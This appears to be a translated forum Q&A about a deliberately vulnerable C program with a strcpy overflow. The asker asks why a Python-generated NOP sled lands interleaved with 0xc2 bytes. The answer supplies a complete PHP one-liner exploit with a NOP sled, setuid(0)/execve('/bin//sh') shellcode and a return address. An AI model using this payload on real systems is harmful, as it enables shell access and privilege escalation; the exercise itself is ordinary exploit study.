assembly 为什么当我传递0x90指令时,堆栈中充满了0xc2指令?

bpsygsoo  于 2023-04-12  发布在  其他
关注(0)|答案(1)|浏览(123)

我有一个利用缓冲区溢出的C程序

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int overflow(char *input) {
  char buf[256];
  strcpy(buf, input);
  return 1;
}

int main(int argc, char *argv[]) {
  overflow(argv[1]);
  printf("meow =^..^=\n");
  return 1;
}

我尝试用0x90指令填充堆栈。为此,我使用以下命令并使用GDB检查:

./vuln $(python -c 'print ("\x41" * (272 - 96 - 74 - 4) + "\x90" * 96 + "\x44" * 74 + "\x42" * 4)')
0xffffd1cc: 0x41    0x41    0x41    0x41    0x41    0xc2    0x90    0xc2
0xffffd1d4: 0x90    0xc2    0x90    0xc2    0x90    0xc2    0x90    0xc2
0xffffd1dc: 0x90    0xc2    0x90    0xc2    0x90    0xc2    0x90    0xc2
0xffffd1e4: 0x90    0xc2    0x90    0xc2    0x90    0xc2    0x90    0xc2
0xffffd1ec: 0x90    0xc2    0x90    0xc2    0x90    0xc2    0x90    0xc2
0xffffd1f4: 0x90    0xc2    0x90    0xc2    0x90    0xc2    0x90    0xc2

如您所见,堆栈接收0xc2指令,其中穿插着0x90(我请求的唯一一个指令)。
这是保护吗?如果是,有没有办法绕过它?如果不是,会是什么?
谢谢你的帮助

kzmpq1sx

kzmpq1sx1#

问题是Python如何处理十六进制,我通过切换到PHP找到了替代方案。下面是实现的代码:

./vuln $(php -r 'echo str_repeat("\x41", 179). str_repeat("\x90", 56) . "\x31\xc0\x31\xdb\xb0\xd5\xcd\x80\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\xb0\x0b\xcd\x80" . "\xc0\xd3\xff\xff";')

相关问题